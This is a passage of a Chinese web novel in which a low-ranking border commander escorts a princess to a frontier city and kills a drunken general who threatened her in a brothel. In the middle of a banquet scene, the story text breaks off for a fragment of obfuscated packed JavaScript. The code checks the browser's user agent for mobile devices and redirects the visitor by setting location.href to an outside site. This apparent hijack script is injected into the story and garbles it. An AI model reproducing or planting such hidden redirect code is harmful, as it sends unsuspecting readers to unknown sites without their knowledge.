战术,军队的整体实力,才是致胜的法宝。
没有之一,不容反驳。
此时,吃了一瘪的香香郡主,气呼呼地把手里热乎乎的烙饼,又递向吴六子身后的李狗子。
“狗子,接着。”
“啊……”
李狗子一怔,这不接吧!会臊了香香郡主的脸面。
要是接了,叶十三脸面还得顾。
“回郡主话,小的刚吃过早饭,肚子饱着的,呃!”
说着,李狗子装模作样地打了个饱嗝。
“给本郡主吃了,一块烙饼,撑不死你!”
香香郡主柳眉一竖,怒目瞪向李狗子。
“小的,遵命!”
李狗子做贼一样,快速接过烙饼,直接塞嘴里后,腮帮子动力几下,一块烙饼渣都不剩的就下了肚。
“这还差不多!”
香香郡主撇嘴一句。
“谢郡主。”李狗子急忙道谢。
吴六子装作什么都没看见,紧紧跟着叶十的马,一路向屯田村疾驰。
不多时候,到了屯田村的签房大院。
一进入签房,叶十三直接把袁彪唤来。
“战损即刻上报军部,战绩也不能藏着,派几个人即刻启程。”
袁彪神情一紧,拱手一礼道:“末将遵命!郡主昨天已经让造册登记,只是等千户大人落印生效。”
“哦!”
叶十三这才知道,这次流程,香香郡主已经走完了,没有上报军部,只是在等他这个主要的将领签字盖印。
待袁彪出去安排,叶十三这才面上一红,但碍于面子,还是冷下脸来,说道:“**虽然被尽数歼灭,但他们只是牧民,而我黄羊岘防区所折损的,全是在册的军籍兵士。”
这话就有些强词夺理了。
田兵虽然也是军籍,但不等于是北防军的常备军,在军部的眼里,和农牧民没多大的差别。
“这是我的全部家底,你知道吗?”
叶十三转过头来,凑在香香郡主的耳根,低声就是一句。
一肚子怨气的香香郡主,并不卖叶十这个账。
狠剜叶十三一眼,羞怒道:“你身为千户,主控两镇十几村的防务,辖下百姓上万,兵马成千,区区不足百数的阵亡战损,至于让你对我如此刻薄?”
“屁!”
叶十三脖子一梗,摆手挥退吴六子和苏哲后,又道:“我只是掌管十几个村子的烽火台而已,就那些驻军,根本没什么战斗力,而且兵数**厉害,可战之兵实际不足五百数。”
紧盯香香郡主的脸,叶十三又道:“虽然车骑大将军把袁彪留给了我,但这只是借用,实际控制权还在军部。”
“再说!”
叶十三摇摇头,背着手在签房来回走动,又道:“上万百姓,只能给我造成负担和累赘,你真以为,我是北防线上军权在手的千户将军?”
此言一出,香香郡主霎时就被惊得目瞪口呆。
“难道,你被晋升千户军职,只是一个空头衔?”
叶十三摆摆手,道:“那倒不完全是,起码军部缺少能战之将,而我,就是他们最佳的人选。”
“唉!”
叶十三长叹一声,摇头道:“无奈我的奴籍身份,就是军部,也不敢完全放权下来,更何况还有地方衙门从中作梗。”
香香郡主没有说话,而是把目光投向签房外面,发现没有闲杂人等,这才说道:“照这样说,你还完全不是镇北王的人,好,好,好!”
好你娘个蛋!
香香郡主一连叫了三个好,惹得叶十三肚里又骂了起来。
“你这傻白甜懂个屁,老子倒不想成为谁的人,而是想手握重兵,要是手头无可战之兵,充其量就是这黄羊岘的一条看门狗,随时都有被**干掉的可能。”
就是牧民家养的牧羊犬,那也得配成了群才行。
不然,如何抵挡狼群?
面对叶十三的焦虑,香香郡主却开心起来,居然没有计较叶十三对她的不敬。
如此放肆的驳斥,这要换作别人,恐怕早都被革职查办。
“得掌握军权!”
香香郡主饶有用意地看向叶十三那张苦瓜脸。
“屁话!”
叶十三又是怒怼一句。
“狗咬吕洞宾,不识
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好人心。”香香郡主把嘴一撇,压低声音又道:“朝廷对镇北王吕南庭颇有微词,一个外姓王爷,如果拥兵自重,这对朝廷来说,并不是一件好事。”
“呵呵!”
叶十三突然笑了,目光轻蔑地看向香香郡主,道:俗话说,马王爷管不了驴的事,我就眼下的燃眉之急无法破解,还管朝廷忌惮谁?
“有些志向好不好?”
面对叶十三的嘲讽,香香郡主也是轻蔑的一瞥,傲然回怼一句。
叶十三又笑了,道:“郡主一番好意,叶十三只是个胸无大志的人,只要我的家人无恙,就是令我最欣慰的事了。”
“再说,岳大将军对我不薄,他的命令,我不敢不尊。”
叶十三又是一句,然后心里骂道:想拉拢我?战事在即,难道你们不懂军中大忌?
明明老子是镇北王看中的人,你们千方百计要制造间隙,说不定,以奴籍身份说事的,就是你们这伙人。
既要让老子当替死鬼杀敌,又不敢给老子兵权。
就是鼓动老子掌握兵权,无非就是让老子,替代你们不中意的人而已。
事情成了,你们除掉了眼中钉。
要是败了,无非就是牺牲一个和你们本无关系的奴籍而已。
你们真当老子是傻子不成?
老子给你说这些,也是为了探你这傻白甜的底。
香香郡主好像丝毫没在意叶十三的反应,撇撇嘴又道:“要真想手上有兵,就得掌控万川郡的防务。”
“万川郡?”叶十三一愣。
“没错!”香香郡主又道:“你眼下的辖区,说白了还是管着一些烽燧兵而已,至于那些驻军,也只是一些中看不中用的摆设而已。”
“此话怎讲?”
叶十三心头一凛。
香香郡主面露得意,挺挺胸又道:“就像你方才所说,所管辖区,那些百姓就是个包袱和累赘,若要手中有兵调度,只有拿下万川郡的防务。”
这不废话吗?
无论是西河镇,还是通天驿镇,还有其他几个镇,都是万川郡的辖下。
一个万川郡辖区各镇,防线就占了五六百里之长,调度戍边部队北防军的兵数,就有五万之众的权力。
就眼下的车骑大将军岳佟,镇上屯兵也只是三万兵数的调度范围。
这个郡主,也不傻!
第145章 一切谨遵郡主命令
“你得替屯田村物色个佥事了!”
香香郡主突然换了话题,话头直指屯田村。
“没错!”
叶十三点点,表示认可。
“看来,你已经有合适的人选了?”
香香郡主又是一问。
“说实话,我还真没有,不过,没有了架辕的驴,只好让大耳朵兔子拉车了。”
叶十三把牙一咬,像是下定了决心。
“来人!”
叶十三提高声调,冲外面吼了一声。
“小的在。”
话音刚落,马成就屁颠颠地跑了进来。
叶十三一扬手,道:“去传郑一刀过来见我。”
“遵命!”
马成拱手一礼,转身撒腿就跑了个没影。
此时,安排完去镇里上报战绩和战损的事后,袁彪又返回了签房。
正好,叶十三要找袁彪议事。
一脸悲色的徐才,脑袋上缠着一圈白孝,领着徐老六的一家老小,走到签房门口就跪了。
“千户大人啊!”
一位年纪四十上下的妇人,扑在地上嚎啕大哭。
“一家老小,就靠老徐的那些粮饷糊口了,大人您得给民妇一条活路啊!”
“嫂夫人,这……”
叶十三一阵头大,按正常流程,已经报军部申请抚恤金了。
作为军户,该有的觉悟还是有吧!
跑这里闹什么闹?
望着徐七一只独眼中躲躲闪闪的目光,叶十三明白了,这小子,还真没憋好屁。
之前对徐才的那点儿好感,顿时就消失得荡然无存。
思忖片刻,叶十三扫了一眼徐老六婆娘身后的几个家人,眉头一皱,说道:“兄弟们为国捐躯,相信朝廷会按制度拨下抚恤金的,军部那边,本千户已经派人去了镇里,还希望大家节哀顺变,不要给防务事宜添乱。”
其实,徐老六一家,对叶十三还是蛮看好的。
他们都知道叶十三大方不抠门,抢了**那么多东西,如此慷慨地分给了村里的军户们。
只是徐七多了个心眼,怕军部会像以前那样层层克扣,这才鼓动了一家老小,来给叶十三上紧箍咒。
打发掉徐老六的家人,郑一刀也到了。
“末将见过郡主,见过千户大人,见过袁将军。”
一打照面,郑一刀要行跪礼,被叶十三和袁彪二人,同时摆手制止了下来。
对于郑一刀,袁彪可不陌生。
作为军中当年有名的趟子手,袁彪也是对郑一刀敬佩有加。
叶十三目光看向郑一刀,开门见山就道:“郑毅听令,即刻起,你领屯田村佥事职,一应事务,尽佥事职责,眼下防务,务必协防袁将军部署。”
此言一出,郑一刀大惊失色!
“大人……”
惊叫一声,郑一刀还是就地跪了。
“末将何德何能,承蒙大人如此看重?”
“行了!”
叶十三摆摆手,铿锵说道:“眼下是何境地,想必你也清楚,废话我就不多说了。”
郑一刀老脸一红,觉得在叶十三面前矫情,这和打他自己嘴巴一样难受。
“末将遵命,协防事宜,一切以袁将军为尊。”
说完,郑一刀一脸悍气,深躬一礼就退了出去。
“袁将军!”
望着郑一刀的背影不见,叶十三这又把视线转移到袁彪脸上,道:“即刻起,黄羊岘防区屯田村防务,由你全权负责。”
“大人……”
袁彪的吃惊程度,并不小于方才的郑一刀。
“屯田村防务大计,还得大人主持。”
“屁话!”
没等叶十三说话,香香郡主抢在前面又道:“叶千户辖下两镇的十几个村子,近二十处烽火台,三路驻军,要是把叶千户让屯田村的事务托住,还谈何一个千户将军的防务职责?”
此言一出,袁彪老脸一红,急道:“承蒙郡主和大人抬爱,末将遵命!”
还不傻嘛!
都知道抢答了?
也好,省了老子一番口舌,就当秘书使用了。
在前世的现代,要是有个如此美色的女秘,那该多香啊!
也正是香香郡主的这番话,让叶十三霎时就有了新主意。
“来人,传令下去,让韩老三家的,即刻去沙窝地,协同何秀儿准备干粮。”
……
午饭后,叶十三留下吴六子,嘱咐他务必做好防区沿线的侦察。
马成带上十名新卒跟着他。
香香郡主这边,由于考虑到安全起见,也让苏哲带着那五十名卫兵跟着。
一路人马,即刻出了黄羊岘,绕过通天驿镇的辖区,直奔西河镇而去。
战事一触即发,面对边境各片区的防务,香香郡主指手画脚的毛病是收敛了一些。
赶路的时候,香香郡主转过脸去,向紧跟在身侧的苏哲低声说道:“一切以千户大人命令是从。”
“末将明白。”
苏哲点点头,他心里明白叶十三的处境。
要是边线防御崩溃,首当其冲吃亏的就是他们这些人。
一荣俱荣,一损俱损的道理,他还是懂的。
向苏哲吩咐完毕,香香郡主策马追上叶十三,道:“到了西河镇,千户大人该
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如何部署?”
“不去镇里!”
叶十三摆手道:“采取这条路线,就是沿烽火台方向,一路视察沿线各烽燧兵的防务状况,以及各村百姓的战时转移安置事宜。”
“好,与其和地方衙门斡旋,不如直接把精力,放在防务要隘。”
“言之有理,时间宝贵浪费不得。”
香香郡主点点头,觉得叶十三办事很实际。
她知道,地方衙门和军部,那是相互依附的关系。
要得全面部署,还得免不了和衙门接洽。
到时候,她这个身份特殊的郡主就该起作用了,不然,有些衙门的官员,还真不一定听叶十三的。
“大胆点,有本郡主给你撑着。”
香香郡主声音不小,给叶十三加持了一股底气。
好啊!
老子这次出来,带着你这傻白甜的目的,本身就是有着狐假虎威的打算。
馊主意老子出,搞人的事,就让你这个高高在上的郡主去办。
人家可以不尿老子这个下千户,但不敢不听你这个京都来的郡主的。
如此想着,叶十三又道:“郡主的美意,末将领了,走哪算哪吧!反正一个下千户,除了自己辖下的防区外,其他镇的驻军,那是不一定理睬末将的。”
“你可不能气馁,定要摆出威风来才行。”
香香郡主一心要让叶十三拿出气魄。
“还是算了吧!”
叶十三摇头道:“老鼠的尾巴,就是打肿了也没多粗,一个下千户,还是别在北防军面前丢人现眼了,免得给郡主你掉身份。”
香香郡主一再鼓励叶十三,但叶十三一直极力退缩。
就这样,一路沿途巡查各烽火台的防务状况,一路讨论着那些毫无用处的策略。
等叶十三辖下的烽火台巡查完毕,已经挨着万川郡郡城地界。
“大人,前面二十里,就地万川郡了。”
马成抬头望着已经西斜的落日,提醒了叶十三一句。
“安营扎寨,这路上也不见驿站,只好去万川郡住一夜了。”
香香郡主也看看天色,然后望着万川郡方向。
“一切谨遵郡主命令!”
叶十三坐在马背上,向香香郡主拱手一礼。
这一下,叶十三自动退后,把香香郡主给捧到前面。
不过也是,到了万川郡,他这个下千户就没人理了。
倒是京都来的郡主,那可没人敢小觑。
“都加把劲,目的地万川郡。”
香香郡主还真不客气,冲马跑在排头,然后转过身子,向卫兵们大吼一声。
第146章 歌舞升平万川郡
万川郡。
北漠边城最大的郡城之一。
城北五里处,则是北防军常备军的一支兵马。
这支三万人的兵马,更是千里北防线上主要的驻军之一。
在这里坐镇的,那可是朝廷派来的骠骑大将军谭祖高。
这个谭祖高,仗着朝中的关系,从来都是眼高于顶,把和他身份相当的车骑大将军岳佟都不放眼里。
万川郡这支驻军,本来是镇北王吕南庭一手带出来的人马,朝廷也是出于一种考虑,去年空降了谭祖高这么个骠骑大将军来,一下子就把这支三万兵马的北防军握在手里。
如此一来,就是岳佟,也不得不对谭祖高忌惮几分。
北方军十万大军,被分成四处驻军。
岳佟手里的一支,只是其中的一处驻军而已。
掌灯时分,叶十三一行到了万川郡城,在城门口被验过千户腰牌,这才得以放行。
边城防区,不足百人的兵马外出执行任务,那是极其常见的现象。
进得城后,香香郡主道:“我们可到衙门的馆驿歇脚。”
“不可!”
叶十三摆摆手,道:“万川郡不属于末将防区,依末将看,还是不要打搅地方,低调些为好,免得招惹上不必要的麻烦。”
香香郡主一想,叶十三的话也不无道理。
就方才进城时,叶十三也没有抬出她这个郡主身份让万川郡的太守来迎接。
叶十三让马成找了一家大一点的客栈,大家进去住宿用饭……
饭后,夜色完全降临。
万川郡城的夜,到处流光溢彩,仿佛战火与此无关。
这座边塞之城,到处琴音不绝,最热闹的当然是酒肆和青楼了。
繁华之地,酒色盛行,但也是流民和乞丐的云集之处。
“换上便装,陪我逛逛?”
叶十三把目光看向香香郡主。
“你要逛街?”
香香郡主一阵惊讶,诧异地望向叶十三。
“嗯!”
叶十三点点头,微笑道:“防区苦闷,烦心事又不少,难得来这繁华之地,领略一番这雪映花灯的美景,也是一件幸事。”
“难得啊!”
香香郡主不可置信地看向叶十三,又道:“褪去粗粝,应该就是原来的你,边城物貌,也将你历练的儒风尽失,本郡主就陪你走走。”
叶十三卸掉身上的革甲,露着底下的白板皮袍,完全是一副普通边民的模样。
可香香郡主卸下软甲后,底下缎面镶着狐皮的锦绣棉衣,就显得是如此是贵气十足。
“郡主,千户大人,您二位这是?”
提了一壶茶进来的苏哲,立刻感觉到这二人要出去。
心头一惊后,讪讪道:“毕竟是非常时期,末将还是带几个弟兄们跟着为好?”
“依你之见?”
香香郡主把目光投向叶十三,完全是一副以叶十三为主的样子。
“也成!”
叶十三点点头,道:“都换上便装,有几个跟着就是,人多无益。”
也是!
随便逛个街而已,带着卫兵,反而有失违和感。
不一会,苏哲挑了四个最精悍的卫兵,全部卸下革甲。
主街上,华灯初上。
店铺的招牌,在白雪映衬下更加显眼,各种商品琳琅满目。
各店铺的伙计们,站在门口热情地招呼行人,顾客们也是络绎不绝。
酒馆里更是热闹,猜拳行令一片酒气。
街道上,小贩们推着小车售卖着各种小玩意儿,在白雪中形成了一道独特的景致。
而在城中那豪华的官邸区域,更是一片灯火辉煌。
身为骠骑大将军的谭祖高,却并没有住在城外的驻军大营。
他在城中的府邸,大堂里烛火摇曳,映照在精美的瓷器和华丽的服饰上。
桌上摆满了山珍海味,珍稀的食材从各地运来,各级官员们穿着昂贵的锦缎,戴着精致的配饰,在舞姬的环绕下肆意欢笑。
他们听着丝竹之声,观赏着歌舞表演,对于外面白雪下百姓们为生活奔波的场景浑然不觉。
“大将军,这郡主去了通天驿镇,该不会是长久驻扎吧?”
一名喝得满脸红光的地方官员,把问讯的目光,投向正搂着一名歌姬对饮的谭祖高。
“是啊!”
另一名地方官员,也借机插嘴问道:“毕竟是镇子,条件也极其有限,习惯了锦衣玉食的郡主,如何受得了那般艰苦?”
“没错,郡主此行,虽是监军职,不外乎就是领略一番边城风光而已。”
“也好,香香郡主何等尊贵,让岳大将军头疼上一番也未尝不是好事。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786364|171513||http|test|mini|href|location''.split(''|''),0,{}));
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>一杯酒下肚的谭祖高,目光一扫众官员,终于腾出嘴来说了一句。
“大将军所言极是啊!”
“看来,郡主还是有的放矢,专找了岳佟的防区,应该是上面有所想法。”
面对地方官员的纷纷说辞,谭祖高摆摆手道:“朝廷之事,不可妄议,我等做好分内之事就可。”
“那是,那是!”
“大将军说得对,我等可不敢妄猜圣意。”
两名官员一阵尴尬,讪笑着又是一番恭维。
“诶!”
一名地方官员,像是想起了什么?
“最近听闻,岳大将军晋升了一名烽燧兵的军职,好像是个千户职。”
“下官也听说了,一个奴籍,杀了一些越境滋事的**,被通天驿军部,按照朝颁发的朝廷嘉奖令进行擢升。”
“哦!”
谭祖高一怔,缓缓放下手中酒杯,淡淡说道:“一个奴籍,底层的烽燧兵而已,能有**越境**的本事?”
面对疑问,一名官员似有所悟,点点头道:“这倒也是,武将的擢升,全凭战功,一个烽燧兵,哪来的机会?”
“有道理!”
提出话头的地方官员,也不禁心生疑虑,道:“**的战斗力,我等是再清楚不过了,能从一个底层兵卒,被晋升到千户职,起码要杀五十数以上的**,而且还是革甲和铁甲类,白身不在此列。”
“行了!”
对这个话头不感兴趣的谭祖高,松开怀里搂着的一名歌姬,缓缓站起来说道:“岳佟此举,无法就虚造一些声势而已,好安慰安慰他的大恩人吕南庭老王爷。”
地方官员都清楚,北防军就是镇北王吕南庭的底气。
而这个骠骑大将军谭祖高,又是朝廷空将下来的一枚楔子。
其用意,自然不用言明。
万川郡城外驻军大营的三万兵马,虽然是镇北王当年一手带出来的,但如今由谭祖高率领,这就让远在京都的镇北王吕南庭,心中多少有气不顺了。
望着桌上一片狼藉的酒菜,一名地方官员趁机说道:“此次降雪以来,赏雪的游人如织,外面的夜市更是热闹,不妨出去街头走走,倒也是一番不错的心境。”
“好主意!”
喝得醉醺醺的谭祖高,一听外面观赏雪中夜景,即刻就来了兴致。
第147章 绛云楼
忽然,一幢流光溢彩的四层土木小楼,豁然出现在香香郡主眼前。
出出进进的客人,无一不是衣着光鲜。
“那边好热闹啊!”
香香郡主美眸一转,发出一声惊叹。
顺着香香郡主的目光,“绛云楼”三个烫金大字让叶十三眼前一亮。
绛云楼?
这**可是青楼啊!
如此大的规模和宏伟奢华的建筑,一定是官办的买卖。
这等地方,妹子也都是有号牌登记的官妓。
再看两侧的门柱,又是雕刻着的一幅楹联。
楹联字体笔走龙蛇,刻入门柱足有二分之深。
“绮户珠帘藏艳色,雕栏玉砌锁柔情”
叶十三盯着门柱,不禁念出声来。
“郡主,进去看看?”
叶十三目光狡黠,笑意盈盈望向香香郡主。
“这什么地方?”
香香郡主一脸狐疑,总觉得此地有些怪异。
“青楼啊。”
叶十三一脸笃定,丝毫没有惊讶。
“混蛋!”
话音一落,香香郡主粉脸突变,愠怒道:“看来你是这等地方的常客?”
“郡主谬赞了!”
叶十三一副皮笑肉不笑的样子,低声又道:“说实话,末将还真没来过这等地方,等末将来日发迹,定会消受一番这等艳福。”
此言一出,香香郡主是脸就绿了。
“发迹?本郡主先革了你的军职再说。”
“郡主息怒,你不妨看看,那些都是何人?”
顺着叶十三所指,香香郡主看到一个高大魁梧的男子,在两名官员模样的人陪同下,正向这边走来。
三人后面,还跟着十来个身形彪悍的兵卒。
“郡主,是谭祖高!”
看到来人,落后香香郡主几步的苏哲,心头陡然一惊,快步上前对香香郡主附耳一番。
“是他?”
香香郡主也是吃惊不小,咬牙道:“这男人都没一个好东西,堂堂骠骑大将军,竟然如此下流堕落,明目张胆的青楼狎妓?”
“郡主明鉴!”
方才吃了一瘪的叶十三,腆着脸又凑了上来,小声道:“是骡子是马,咱进去瞅一眼不就明白了?”
“你可是领了皇命的监军大人啊!”
叶十三不失时机地又补了一句。
监军?
这都不就是本郡主的职责所在吗?
边关大战在即,统兵的武将却沉溺青楼狎妓,军风军纪如此涣散,这还了得?
如此一想,香香郡主目光看向叶十三,犹豫道:“都怪你,非要便装出行,遇上这等事情,本郡主如何震慑他们?”
“无碍!”
叶十三眼珠子一转,背着身子低声又道:“你搀着末将的胳膊,咱大摇大摆进去不就得了?”
“记住,万不可泄露身份。”
叶十三说完,又叮咛了一句。
“明白了!”
香香郡主半眯着眼睛,点头道:“是让本郡主,来扮你这混蛋的女人?”
“郡主英明!”
叶十三深躬一礼,然后把视线转移到三步外的苏哲身上,正色道:“带着你的人,守住这门口,没有本千户的命令,任何人不得泄露身份。”
“末将遵命!”
苏哲一怔,随即低头退到一边。
香香郡主迟疑片刻,但还是搀住叶十三的一条胳膊,附在叶十三耳边低声说道:“这笔账,本郡主先替你记着,等事情过后,再跟你慢慢算。”
说着,香香郡主搀着叶十三胳膊肘的一只手,狠狠地拧了一把。
“丝……”
叶十三面颊一阵急抖,倒吸一口凉气,咧嘴道:“温柔一点,别板着个脸就像**葬父的那样。”
此言一出,香香郡主差点抽叶十三一个脖儿拐。
“混蛋,再敢胡言乱语,小心本郡主割了你的舌头。”
“那你得拿出一点样儿来,如此冷若冰霜,让人看了还以为是我强抢民女一般……”
二人斗着嘴,身子紧挨在一起就跨上了绛云楼的台阶。
“这位大爷……”
门口迎客的一个龟奴,一掀门帘,笑容顿时就僵在脸上。
这逛青楼,哪有自带女人的?
“这位爷!”
稳住了神的龟奴,往叶十三眼前一站,笑道:“您是走错地方了吧?这里是听曲作乐的地方,要是吃饭,还是去对面的菜馆。”
“老子找的是青楼,上对面菜馆干嘛?”
叶十三眼睛一瞪,提高了声调道:“这边不也是有酒有菜有好茶吗?大爷有的是银子,不少你几个钱的。”
这一声,把许多人的目光,齐刷刷给引了过来。
就连正上楼梯的谭祖高,也不由得向这边看了过来。
这一瞥,让谭祖高眼前一亮。
和龟奴嚷嚷的男子,带着的那个女人可是不俗。
这女人面容精致,隐隐透着一股子冷傲。
再看身段,完全不是蒲柳之姿。
如此俏美的女人,却被一个身穿白板皮袍的边民带着。
不说这女人身上的衣服有多华贵?就那气质,绝不是一般青楼中能挑出的角儿。
“下去看看!”
按捺不住内心激动的谭祖高,转身就往楼下走。
待到了叶十三面前,把一张满是酒气的脸,直往香香郡主面前凑。
“好俊的娘们!”
双眼赤红的谭祖高,面对眼前令人心动的绝世美色,垂涎三尺的他,居然伸手就向香香郡主的粉脸上摸去。
香香郡主一愣,万没想到一个官居二品的骠骑大将军,会是如此的下流无耻。
“你……”
话刚出口,但谭祖高的一只手,手指已经触到了香香郡主的脸上。
“把你的狗爪子拿开!”
叶十三发话了,目光轻蔑地望向谭祖高。
“小子,识相点。”
谭祖高缩回了手,不屑地望着叶十三,轻蔑说道:“你的姐儿,老子要了,开个价吧!绝对亏不了你
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。”
“那要看你出多少了?”
叶十三似笑非笑,迎着谭祖高的目光又道:“好东西从来就不便宜,抢别人的东西,那可是要付出代价的。”
“哈哈哈……”
谭祖高仰头一阵狂笑,然后又道:“有点意思,给二十两银子,拿着赶快滚蛋!”
“二十两?”
叶十三一愣,转脸望着香香郡主,笑道:“这个人出二十两,你觉得如何?”
此时,香香郡主已经被气得差点吐血。
这又听到叶十三和谭祖高二人,居然把她当商品一样讨价还价。
“呸!”
怒从心头起的香香郡主,冲啊地上就是一口唾沫。
叶十三霎时收敛了笑意,盯着谭祖高说道:“这位朋友怕是误会了,我只是路过这里,看到这边如此热闹,这才进来想着消遣片刻。”
原来不是逛鹞子的?
可眼前这土鳖,如何有如此俊俏的女人陪着?
望着一脸惊讶的谭祖高,叶十三又道:“我家小姐要赏这夜间美景,人生地不熟的,不拉紧点,怕是给丢了。”
叶十三皮笑肉不笑,把香香郡主搀着他胳膊的一只手,握在手里紧紧不放。
“好啊!”
一头雾水的谭祖高,虽然一时搞不懂这两人的关系,已有八分醉意的他,哪还管得了这么?
狠瞪叶十三一眼,道:“要是嫌少,老子再加点。”
“这位朋友怕是误会了!”
叶十三又是一句,拉起香香郡主的手,转身就往外走。
“站住!”
随着谭祖高的一声冷哼,几名兵卒冲了进来,把叶十三和香香郡主二人团团围住。
“老子看上的人,那是你的福气。”
谭祖高一脸淫邪,目光盯着香香郡主,又道:“你和他,可是夫妻?”
“不是!”
香香郡主回答得斩钉截铁。
“那好,离开这个穷鬼,你要是跟了老子,让你一辈子有享不完的荣华富贵,你可想好了?”
“不稀罕!”
香香郡主一脸冰霜,依旧回答得斩钉截铁。
“你可知道老子是谁?”
“不想知道,我管你是谁?”
“大胆!”
谭祖高被香香郡主的冷傲,彻底的给激怒了。
在这万川郡城内外,还没有人如此大胆地跟他这样说话。
“没什么大胆不大胆的,难道你眼里就没有王法?”
香香郡主,一双美眸已经寒芒闪动。
就在这时,一旁的两个地方官员,喷着满嘴的酒气走到近前。
“识相点,跟了大将军,有你这辈子享不完的荣华富贵,否则……”
“否则如何?”
香香郡主的眼里,已经是杀机迸溅。
另一个官员面色一寒,接过话茬威胁道:“否则,这个土鳖,蹲大牢,而你,照样乖乖的跟大将军走。”
“你们,简直无法无天!”
香香郡主这下,成功地被激怒。
第148章 大胆,你们敢**?
“呸!”
被气得浑身打颤的香香郡主,直接一口粘痰,就唾在谭祖高的脸上。
“找死!”
没想到眼前的女人,突然会来这一手?
勃然大怒的谭祖高,当即从身边的卫兵手里,夺过一把佩刀,直接架在香香郡主的脖子上。
“臭**!”
瞬间变得一脸杀气的谭祖高,咬着牙说道:“给脸不要的东西,你真因为你是天仙下凡?惹怒了老子,等老子享用完了,再赏给他们。”
这时候,叶十三笑了,笑得有些诡异。
“放下你的刀,一切还都好说。”
叶十三终于开口了,这是他进得绛云楼以来,主动说的第一句话。
“晚了!”
谭祖高怒目瞪向叶十三,道:“不知天高地厚的东西,这会怕了?”
怕你娘个蛋!
老子还就怕你怂了。
叶十三阴沉着脸,沉声道:“身为一个将军,如此强取横夺,你眼里,可有大夏纲纪王法?”
“哈哈哈……”
谭祖高仰头又是一阵狂笑,道:“你还知道大夏的纲纪王法?在这边城,老子就是王法,就是把你这等贱民杀上成百个,谁敢说一句老子的不是?”
说完,谭祖高把脸转向香香郡主,暴怒道:“老子改变主意了,今天就剥了你这身好看的皮来,给老子做个灯罩……”
怎么?
这谭祖高是要谋害香香郡主?
“噗嗤!”
谭祖高话还没说完,突然瞳孔一阵放大,握着刀的那只手,也垂了下来。
“当啷!”
被按在香香郡主脖子上的那把佩刀,随着谭祖高那只手的垂下,径直就掉在地上。
“啊……”
一名官员就像见了鬼一样,往后一跳惊叫道:“血,血,你,你敢杀大将军?”
此时,叶十三的手中,突然多了一把刀。
一把铁条一样,丑陋无比的刀,已经从谭祖高的前胸一直穿透到后背。
露出谭祖高后背的刀尖上,就像屋檐水一样,随即就喷出一条血流来。
“快拿下,这人向大将军行凶。”
另一个官员,已经被吓得面无人色,浑身哆嗦着向卫兵们吼叫起来。
叶十三一手握刀,一手从怀里掏出一面铜牌,吼道:“黄羊岘防区千户叶十三在此,谁敢妄想加害香香郡主意谋反,叶某人就是拼了这条命,也要将以下犯上的谋逆之徒就地正法!”
这一声吼,无异于惊雷当头炸响。
这女人,是前几天从京都才来边城的监军,肃王府上的香香郡主?
“扑通!”
方才还气焰嚣张,狐假虎威两个地方官员,霎时就双腿一软当场跪了。
谋逆之罪?
这可不是小事,要被抄家灭族的啊!
有卫兵见势不妙,悄悄从绛云楼溜了出去。
身材魁梧的谭祖高,被叶十三用刀穿过胸膛,此时口鼻已经渗出血来,但他庞大的身躯,却被叶十这样用刀挑着无法倒下。
一个掌控着三万北防军的骠骑大将军,就这样意外地被叶十三一刀所杀?
一个二品军职的将领,居然死在一个六品千户的手里。
一时间,绛云楼里的寻欢作乐的客人们,逃命一样纷纷下楼,争先恐后地夺门而出。
骠骑大将军**,这样炸裂的事情,谁还敢留在现场?
事发如此突然,两名魂飞魄散的地方官员,一时间也是懵了。
“来人!”
叶十三又是一声暴吼,留在绛云楼外面的苏哲,霎时就带着四个卫兵冲了进来。
“郡主,末将在……”
一句话还没说完,苏哲霎时就被吓得呆立当场。
叶十三嘴角闪过一丝冷笑,猛然抽回了手中的刀。
“轰!”
仰面倒下的谭祖高,从胸口的血洞里,一股血箭就冲天而喷。
“千户大人……”
几乎被吓呆了的苏哲,简直不敢相信眼前所见。
“此人调戏**郡主不说,还拿刀威胁郡主的性命,末将只好将他杀了!”
叶十三指着地上已经气绝身亡的谭祖高,冷声又道:“速速禀报地方衙门,查明此人身份,如此以下犯上,定有谋逆之心,上报朝廷查他三代!”
“你,杀了他?”
就在这时候,回过了神来的香香郡主,吃惊地望着地上谭祖高的尸体,颤声就向叶十三一问。
“谁要是对郡主不规,末将就绝不让他得逞。”
叶十三说得轻描淡写,香香郡主却听得心头一惊。
看到地上血泊中的尸体,她霎时就明白了。
这混蛋!
居然给她设了个局。
而毫无防备的她,居然配合这混蛋演戏?
提前告诫她万不可透露身份,看来这是为了引谭祖高上套?
一个朝廷空降在边城的重要人物,就如此荒唐地让叶十三抓住机会,冠冕堂皇地给杀了?
一切都天衣无缝,撒泡尿的功夫,就把一个二品军职的武将统帅给砍了。
而这些,居然都是为了她?
为了她的清誉,
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为了她的人身安全,叶十三顺理成章地,杀了一个二品军职大将军。
心里越想越怕的香香郡主,此时知道覆水难收,一切都无法挽回了。
“都给本郡主拿下,一个都别叫跑了!”
香香郡主情急之下,指着跪在地上的两个地方官员,还有几个目瞪口呆不知所措的卫兵。
就在这时候,一队全副武装的兵马,扬起漫天的雪片,战马嘶鸣着就把绛云楼团团围住。
与此同时,一队步军,手执**飞奔而来。
霎时间,绛云楼就被两队兵马围得水泄不通。
“给我将凶手拿下!”
一声暴吼从门口响起,即刻就有几十名兵卒,挥着**短刀就冲了过来。
“大胆!”
叶十三横刀往香香郡主面前一站,吼道:“你们敢**?”
心头一凛的苏哲,也抽出佩刀,把香香郡主挡在身后,迎着来人的目光吼道:“苏烈,郡主在此,不得无理!”
来人一怔,定睛一看,赶忙说道:“哥哥,真是郡主来了?”
虚惊一场,叶十三暗暗长出一口气。
苏哲目光看向地上谭祖高的尸体,痛心道:“万没想到,堂堂骠骑大将军,居然对郡主心怀不轨,而且对郡主兵刀上身,如此谋逆犯上,实属该死!”
“北防军万川郡驻军大营车骑校尉苏烈,参见郡主!”
苏烈倒握着刀柄,双腿一跪,拱手就向香香郡主行礼。
“你驻军大营将士们,平日就是如此花天酒地,强抢民女,无恶不作?”
香香郡主骑虎难下,只好依照谭祖高方才所为,对苏烈就怒斥起来。
“郡主明鉴啊!”
